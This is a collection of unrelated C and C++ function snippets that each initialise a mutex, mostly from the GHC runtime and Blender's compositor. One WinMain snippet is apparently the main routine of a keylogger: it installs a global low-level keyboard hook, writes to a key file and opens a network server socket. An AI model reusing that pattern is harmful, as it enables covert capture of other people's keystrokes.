void initProfiling (void) { // initialise our arena prof_arena = newArena(); /* for the benefit of allocate()... */ { nat n; for (n=0; n < n_capabilities; n++) { capabilities[n]->r.rCCCS = CCS_SYSTEM; } } #ifdef THREADED_RTS initMutex(&ccs_mutex); #endif /* Set up the log file, and dump the header and cost centre * information into it. */ initProfilingLogFile(); /* Register all the cost centres / stacks in the program * CC_MAIN gets link = 0, all others have non-zero link. */ REGISTER_CC(CC_MAIN); REGISTER_CC(CC_SYSTEM); REGISTER_CC(CC_GC); REGISTER_CC(CC_OVERHEAD); REGISTER_CC(CC_DONT_CARE); REGISTER_CC(CC_PINNED); REGISTER_CC(CC_IDLE); REGISTER_CCS(CCS_SYSTEM); REGISTER_CCS(CCS_GC); REGISTER_CCS(CCS_OVERHEAD); REGISTER_CCS(CCS_DONT_CARE); REGISTER_CCS(CCS_PINNED); REGISTER_CCS(CCS_IDLE); REGISTER_CCS(CCS_MAIN); /* find all the registered cost centre stacks, and make them * children of CCS_MAIN. */ ASSERT(CCS_LIST == CCS_MAIN); CCS_LIST = CCS_LIST->prevStack; CCS_MAIN->prevStack = NULL; CCS_MAIN->root = CCS_MAIN; ccsSetSelected(CCS_MAIN); initProfiling2(); if (RtsFlags.CcFlags.doCostCentres) { initTimeProfiling(); } if (RtsFlags.ProfFlags.doHeapProfile) { initHeapProfiling(); } }
void initUserSignals(void) { sigemptyset(&userSignals); #ifdef THREADED_RTS initMutex(&sig_mutex); #endif }
void initTracing (void) { #ifdef THREADED_RTS initMutex(&trace_utx); #endif #ifdef DEBUG #define DEBUG_FLAG(name, class) \ class = RtsFlags.DebugFlags.name ? 1 : 0; DEBUG_FLAG(scheduler, DEBUG_sched); DEBUG_FLAG(interpreter, DEBUG_interp); DEBUG_FLAG(weak, DEBUG_weak); DEBUG_FLAG(gccafs, DEBUG_gccafs); DEBUG_FLAG(gc, DEBUG_gc); DEBUG_FLAG(block_alloc, DEBUG_block_alloc); DEBUG_FLAG(sanity, DEBUG_sanity); DEBUG_FLAG(stable, DEBUG_stable); DEBUG_FLAG(stm, DEBUG_stm); DEBUG_FLAG(prof, DEBUG_prof); DEBUG_FLAG(linker, DEBUG_linker); DEBUG_FLAG(squeeze, DEBUG_squeeze); DEBUG_FLAG(hpc, DEBUG_hpc); DEBUG_FLAG(sparks, DEBUG_sparks); #endif // -Ds turns on scheduler tracing too TRACE_sched = RtsFlags.TraceFlags.scheduler || RtsFlags.DebugFlags.scheduler; // -Dg turns on gc tracing too TRACE_gc = RtsFlags.TraceFlags.gc || RtsFlags.DebugFlags.gc; TRACE_spark_sampled = RtsFlags.TraceFlags.sparks_sampled; // -Dr turns on full spark tracing TRACE_spark_full = RtsFlags.TraceFlags.sparks_full || RtsFlags.DebugFlags.sparks; TRACE_user = RtsFlags.TraceFlags.user; eventlog_enabled = RtsFlags.TraceFlags.tracing == TRACE_EVENTLOG; /* Note: we can have any of the TRACE_* flags turned on even when eventlog_enabled is off. In the DEBUG way we may be tracing to stderr. */ if (eventlog_enabled) { initEventLogging(); } }
TPThread(ThreadPool* threadPool, int threadWaitSecond = 0): threadWaitSecond_(threadWaitSecond), currTask_(NULL), threadPool_(threadPool) { state_ = THREAD_STATE_SLEEP; initCond(); initMutex(); }
int CALLBACK WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; BOOL bRet; HMODULE dllMod; HHOOK hookHandle; SOCKET serverSocket; HANDLE serverThreadHandle; UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); UNREFERENCED_PARAMETER(nCmdShow); /* initialize, all of these functions and procedures * must complete successfully in order for the main loop to begin */ if( !initMutex() || !registerWindowClass( hInstance ) || !createWindow( hInstance ) || ((dllMod = LoadLibrary( TEXT(GHOST_DLL)) ) == NULL ) || !(initializeLibrary() ) || !(initKeyFile() ) || !(initWinSock(&serverSocket) ) || !(initServerThread(&serverSocket, &serverThreadHandle) ) || ((hookHandle = SetWindowsHookEx( WH_KEYBOARD_LL, hookProcedure, dllMod, 0) ) == NULL)) { return EXIT_FAILURE; } /* main message loop */ while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } /* clean up and exit */ UnhookWindowsHookEx( hookHandle ); FreeLibrary( dllMod ); return EXIT_SUCCESS; }
void VectorBlurOperation::initExecution() { initMutex(); this->m_inputImageProgram = getInputSocketReader(0); this->m_inputZProgram = getInputSocketReader(1); this->m_inputSpeedProgram = getInputSocketReader(2); this->m_cachedInstance = NULL; QualityStepHelper::initExecution(COM_QH_INCREASE); }
void initThreadLabelTable(void) { #if defined(THREADED_RTS) initMutex(&threadLabels_mutex); #endif /* THREADED_RTS */ if (threadLabels == NULL) { threadLabels = allocHashTable(); } }
void initGlobalStore(void) { uint32_t i; for (i=0; i < MaxStoreKey; i++) { store[i] = 0; } #ifdef THREADED_RTS initMutex(&globalStoreLock); #endif }
queue_t* queue_init(int size, int nmemb) { queue_t* queue = malloc(sizeof(queue_t)); queue->data = (char*)malloc(size * nmemb); queue->size = size; queue->nmemb = nmemb; queue->readpos = 0; queue->writepos = 0; queue->number = 0; initMutex(&queue->mutex); return queue; }
void initTracing (void) { #ifdef THREADED_RTS initMutex(&trace_utx); #endif DEBUG_FLAG(scheduler, DEBUG_sched); DEBUG_FLAG(interpreter, DEBUG_interp); DEBUG_FLAG(weak, DEBUG_weak); DEBUG_FLAG(gccafs, DEBUG_gccafs); DEBUG_FLAG(gc, DEBUG_gc); DEBUG_FLAG(block_alloc, DEBUG_block_alloc); DEBUG_FLAG(sanity, DEBUG_sanity); DEBUG_FLAG(stable, DEBUG_stable); DEBUG_FLAG(stm, DEBUG_stm); DEBUG_FLAG(prof, DEBUG_prof); DEBUG_FLAG(gran, DEBUG_gran); DEBUG_FLAG(par, DEBUG_par); DEBUG_FLAG(linker, DEBUG_linker); DEBUG_FLAG(squeeze, DEBUG_squeeze); DEBUG_FLAG(hpc, DEBUG_hpc); PAR_FLAG(verbose, PAR_DEBUG_verbose); PAR_FLAG(bq, PAR_DEBUG_bq); PAR_FLAG(schedule, PAR_DEBUG_schedule); PAR_FLAG(free, PAR_DEBUG_free); PAR_FLAG(resume, PAR_DEBUG_resume); PAR_FLAG(weight, PAR_DEBUG_weight); PAR_FLAG(fetch, PAR_DEBUG_fetch); PAR_FLAG(fish, PAR_DEBUG_fish); PAR_FLAG(tables, PAR_DEBUG_tables); PAR_FLAG(packet, PAR_DEBUG_packet); PAR_FLAG(pack, PAR_DEBUG_pack); PAR_FLAG(paranoia, PAR_DEBUG_paranoia); GRAN_FLAG(event_trace, GRAN_DEBUG_event_trace); GRAN_FLAG(event_stats, GRAN_DEBUG_event_stats); GRAN_FLAG(bq, GRAN_DEBUG_bq); GRAN_FLAG(pack, GRAN_DEBUG_pack); GRAN_FLAG(checkSparkQ, GRAN_DEBUG_checkSparkQ); GRAN_FLAG(thunkStealing, GRAN_DEBUG_thunkStealing); GRAN_FLAG(randomSteal, GRAN_DEBUG_randomSteal); GRAN_FLAG(findWork, GRAN_DEBUG_findWork); GRAN_FLAG(unused, GRAN_DEBUG_unused); GRAN_FLAG(pri, GRAN_DEBUG_pri); GRAN_FLAG(checkLight, GRAN_DEBUG_checkLight); GRAN_FLAG(sortedQ, GRAN_DEBUG_sortedQ); GRAN_FLAG(blockOnFetch, GRAN_DEBUG_blockOnFetch); GRAN_FLAG(packBuffer, GRAN_DEBUG_packBuffer); GRAN_FLAG(blockedOnFetch_sanity, GRAN_DEBUG_BOF_sanity); TRACE_FLAG(sched, TRACE_sched); }
void initTracing (void) { const EventLogWriter *eventlog_writer = getEventLogWriter(); #if defined(THREADED_RTS) initMutex(&trace_utx); #endif // -Ds turns on scheduler tracing too TRACE_sched = RtsFlags.TraceFlags.scheduler || RtsFlags.DebugFlags.scheduler; // -Dg turns on gc tracing too TRACE_gc = RtsFlags.TraceFlags.gc || RtsFlags.DebugFlags.gc || RtsFlags.DebugFlags.scheduler; if (TRACE_gc && RtsFlags.GcFlags.giveStats == NO_GC_STATS) { RtsFlags.GcFlags.giveStats = COLLECT_GC_STATS; } TRACE_spark_sampled = RtsFlags.TraceFlags.sparks_sampled; // -Dr turns on full spark tracing TRACE_spark_full = RtsFlags.TraceFlags.sparks_full || RtsFlags.DebugFlags.sparks; TRACE_user = RtsFlags.TraceFlags.user; // We trace cap events if we're tracing anything else TRACE_cap = TRACE_sched || TRACE_gc || TRACE_spark_sampled || TRACE_spark_full || TRACE_user; eventlog_enabled = RtsFlags.TraceFlags.tracing == TRACE_EVENTLOG && eventlog_writer != NULL; /* Note: we can have any of the TRACE_* flags turned on even when eventlog_enabled is off. In the DEBUG way we may be tracing to stderr. */ if (eventlog_enabled) { initEventLogging(eventlog_writer); } }
int main(int argc, char** argv) { pid_t pid; int pipeline[2]; char pipeReadBuffer[GCC_OUTPUT_BUFFER_SIZE] = {0}; // Traitement des taches du parent execute_folder_operations(get_folder_path(argc, argv)); cFilesList = get_c_files(cFilesList); check_folder_has_cFiles(cFilesList); create_pipeline(pipeline); pid = create_child(); if (pid > 0) { // PARENT - Ajustements propre a ce processus free_array_of_array(cFilesList); // Free, cFilesList maintenant inutile pour ce processus signal(SIGINT, set_run_status); // Gestion de la fin du prog par le processus parent while (RUN) { // Lance la lecture sur pipe avec enfant read(pipeline[0], pipeReadBuffer, sizeof(pipeReadBuffer)); if (strlen(pipeReadBuffer) != 0) //printf("DEBUG-> Parent received:\n%s", pipeReadBuffer); printf("%s", pipeReadBuffer); strcpy(pipeReadBuffer, ""); // Vide buffer } kill(pid, SIGUSR1); // Kill Child Process wait(NULL); } else { // ENFANT - Lance les operations de traitements sigignore(SIGINT); // Le parent s'occupe de tuer l'enfant signal(SIGUSR1, child_clean_atexit); // Ecoute directive de terminaison envoyee par le parent initMutex(); // Initialisation du ou des mutex(es) while (1) { JobsList = update_JobsList(JobsList, cFilesList); // Ajout d'une "job" pour tous les nouveaux fichiers if (JobsList != NULL) update_threads(JobsList, pipeline); // Creation d'un thread pour les nouvelles "Jobs" dans le tableau sleep(FOLDER_POLLING_DELAY); // Inutile de verifier le dossier trop rapidement... cFilesList = free_array_of_array(cFilesList); // Nettoyage cFilesList = get_c_files(cFilesList); // Update la liste et boucle... } } return (EXIT_SUCCESS); }
void GaussianYBlurOperation::initExecution() { BlurBaseOperation::initExecution(); initMutex(); if (this->m_sizeavailable) { float rad = max_ff(m_size * m_data->sizey, 0.0f); m_filtersize = min_ii(ceil(rad), MAX_GAUSSTAB_RADIUS); this->m_gausstab = BlurBaseOperation::make_gausstab(rad, m_filtersize); } }
void initStablePtrTable(void) { if (SPT_size > 0) return; SPT_size = INIT_SPT_SIZE; stable_ptr_table = stgMallocBytes(SPT_size * sizeof(spEntry), "initStablePtrTable"); initSpEntryFreeList(stable_ptr_table,INIT_SPT_SIZE,NULL); #if defined(THREADED_RTS) initMutex(&stable_ptr_mutex); #endif }
Socket::Socket(SOCKET sock,SOCKADDR_IN csin,ETypeConnection connection) { this->sock=sock; this->connection=connection; this->protocole=TP_TCP; this->infoConnection=csin; this->isConnect=true; initBuffer(); initMutex(mutex1); }
PosixConditionSemaphore() : sigcnt(0) { initCond(); try { initMutex(); } catch(...) { pthread_cond_destroy(&cond); throw; } }
TerminatableSynchronousReorderSet(uint64_t const rnext = 0) : numwait(0), Q(), terminated(false), next(rnext) { initCond(); try { initMutex(); } catch(...) { pthread_cond_destroy(&cond); throw; } }
static void initCapability( Capability *cap, nat i ) { nat g; cap->no = i; cap->in_haskell = rtsFalse; cap->run_queue_hd = END_TSO_QUEUE; cap->run_queue_tl = END_TSO_QUEUE; #if defined(THREADED_RTS) initMutex(&cap->lock); cap->running_task = NULL; // indicates cap is free cap->spare_workers = NULL; cap->n_spare_workers = 0; cap->suspended_ccalls = NULL; cap->returning_tasks_hd = NULL; cap->returning_tasks_tl = NULL; cap->inbox = (Message*)END_TSO_QUEUE; cap->sparks_created = 0; cap->sparks_dud = 0; cap->sparks_converted = 0; cap->sparks_gcd = 0; cap->sparks_fizzled = 0; #endif cap->f.stgEagerBlackholeInfo = (W_)&__stg_EAGER_BLACKHOLE_info; cap->f.stgGCEnter1 = (StgFunPtr)__stg_gc_enter_1; cap->f.stgGCFun = (StgFunPtr)__stg_gc_fun; cap->mut_lists = stgMallocBytes(sizeof(bdescr *) * RtsFlags.GcFlags.generations, "initCapability"); cap->saved_mut_lists = stgMallocBytes(sizeof(bdescr *) * RtsFlags.GcFlags.generations, "initCapability"); for (g = 0; g < RtsFlags.GcFlags.generations; g++) { cap->mut_lists[g] = NULL; } cap->free_tvar_watch_queues = END_STM_WATCH_QUEUE; cap->free_invariant_check_queues = END_INVARIANT_CHECK_QUEUE; cap->free_trec_chunks = END_STM_CHUNK_LIST; cap->free_trec_headers = NO_TREC; cap->transaction_tokens = 0; cap->context_switch = 0; cap->pinned_object_block = NULL; }
void hs_spt_insert_stableptr(StgWord64 key[2], StgStablePtr *entry) { // hs_spt_insert is called from constructor functions, so // the SPT needs to be initialized here. if (spt == NULL) { spt = allocHashTable_(hashFingerprint, compareFingerprint); #if defined(THREADED_RTS) initMutex(&spt_lock); #endif } ACQUIRE_LOCK(&spt_lock); insertHashTable(spt, (StgWord)key, entry); RELEASE_LOCK(&spt_lock); }
void GaussianXBlurOperation::initExecution() { BlurBaseOperation::initExecution(); initMutex(); if (this->m_sizeavailable) { float rad = this->m_size * this->m_data->sizex; CLAMP(rad, 1.0f, MAX_GAUSSTAB_RADIUS); this->m_rad = rad; this->m_gausstab = BlurBaseOperation::make_gausstab(rad); } }
void ioManagerStart (void) { initMutex(&event_buf_mutex); next_event = 0; // Make sure the IO manager thread is running Capability *cap; if (io_manager_event == INVALID_HANDLE_VALUE) { cap = rts_lock(); rts_evalIO(&cap, ensureIOManagerIsRunning_closure, NULL); rts_unlock(cap); } }
void GaussianAlphaXBlurOperation::initExecution() { /* BlurBaseOperation::initExecution(); */ /* until we suppoer size input - comment this */ initMutex(); if (this->m_sizeavailable) { float rad = max_ff(m_size * m_data.sizex, 0.0f); m_filtersize = min_ii(ceil(rad), MAX_GAUSSTAB_RADIUS); m_gausstab = BlurBaseOperation::make_gausstab(rad, m_filtersize); m_distbuf_inv = BlurBaseOperation::make_dist_fac_inverse(rad, m_filtersize, m_falloff); } }
void GaussianAlphaYBlurOperation::initExecution() { /* BlurBaseOperation::initExecution(); */ /* until we suppoer size input - comment this */ initMutex(); if (this->m_sizeavailable) { float rad = this->m_size * this->m_data->sizey; CLAMP(rad, 1.0f, MAX_GAUSSTAB_RADIUS); this->m_rad = rad; this->m_gausstab = BlurBaseOperation::make_gausstab(rad); this->m_distbuf_inv = BlurBaseOperation::make_dist_fac_inverse(rad, this->m_falloff); } }
void BokehBlurOperation::initExecution() { initMutex(); this->m_inputProgram = getInputSocketReader(0); this->m_inputBokehProgram = getInputSocketReader(1); this->m_inputBoundingBoxReader = getInputSocketReader(2); int width = this->m_inputBokehProgram->getWidth(); int height = this->m_inputBokehProgram->getHeight(); float dimension = min(width, height); this->m_bokehMidX = width / 2.0f; this->m_bokehMidY = height / 2.0f; this->m_bokehDimension = dimension / 2.0f; QualityStepHelper::initExecution(COM_QH_INCREASE); }
void GaussianYBlurOperation::initExecution() { BlurBaseOperation::initExecution(); initMutex(); if (this->m_sizeavailable) { float rad = max_ff(m_size * m_data.sizey, 0.0f); m_filtersize = min_ii(ceil(rad), MAX_GAUSSTAB_RADIUS); this->m_gausstab = BlurBaseOperation::make_gausstab(rad, m_filtersize); #ifdef __SSE2__ this->m_gausstab_sse = BlurBaseOperation::convert_gausstab_sse(this->m_gausstab, m_filtersize); #endif } }
void initTaskManager (void) { if (!tasksInitialized) { taskCount = 0; workerCount = 0; currentWorkerCount = 0; peakWorkerCount = 0; tasksInitialized = 1; #if defined(THREADED_RTS) #if !defined(MYTASK_USE_TLV) newThreadLocalKey(¤tTaskKey); #endif initMutex(&all_tasks_mutex); #endif } }
static Task* newTask (rtsBool worker) { Task *task; #define ROUND_TO_CACHE_LINE(x) ((((x)+63) / 64) * 64) task = stgMallocBytes(ROUND_TO_CACHE_LINE(sizeof(Task)), "newTask"); task->cap = NULL; task->worker = worker; task->stopped = rtsFalse; task->running_finalizers = rtsFalse; task->n_spare_incalls = 0; task->spare_incalls = NULL; task->incall = NULL; #if defined(THREADED_RTS) initCondition(&task->cond); initMutex(&task->lock); task->wakeup = rtsFalse; #endif task->next = NULL; ACQUIRE_LOCK(&all_tasks_mutex); task->all_prev = NULL; task->all_next = all_tasks; if (all_tasks != NULL) { all_tasks->all_prev = task; } all_tasks = task; taskCount++; if (worker) { workerCount++; currentWorkerCount++; if (currentWorkerCount > peakWorkerCount) { peakWorkerCount = currentWorkerCount; } } RELEASE_LOCK(&all_tasks_mutex); return task; }
void GaussianXBlurOperation::initExecution() { BlurBaseOperation::initExecution(); initMutex(); if (this->m_sizeavailable) { float rad = max_ff(m_size * m_data.sizex, 0.0f); m_filtersize = min_ii(ceil(rad), MAX_GAUSSTAB_RADIUS); /* TODO(sergey): De-duplicate with the case below and Y blur. */ this->m_gausstab = BlurBaseOperation::make_gausstab(rad, m_filtersize); #ifdef __SSE2__ this->m_gausstab_sse = BlurBaseOperation::convert_gausstab_sse(this->m_gausstab, m_filtersize); #endif } }
void initProfiling1 (void) { // initialise our arena prof_arena = newArena(); /* for the benefit of allocate()... */ { nat n; for (n=0; n < n_capabilities; n++) { capabilities[n].r.rCCCS = CCS_SYSTEM; } } #ifdef THREADED_RTS initMutex(&ccs_mutex); #endif }
void hs_spt_insert(StgWord64 key[2],void *spe_closure) { // hs_spt_insert is called from constructor functions, so // the SPT needs to be initialized here. if (spt == NULL) { spt = allocHashTable_( (HashFunction *)hashFingerprint , (CompareFunction *)compareFingerprint ); #ifdef THREADED_RTS initMutex(&spt_lock); #endif } StgStablePtr * entry = stgMallocBytes( sizeof(StgStablePtr) , "hs_spt_insert: entry" ); *entry = getStablePtr(spe_closure); ACQUIRE_LOCK(&spt_lock); insertHashTable(spt, (StgWord)key, entry); RELEASE_LOCK(&spt_lock); }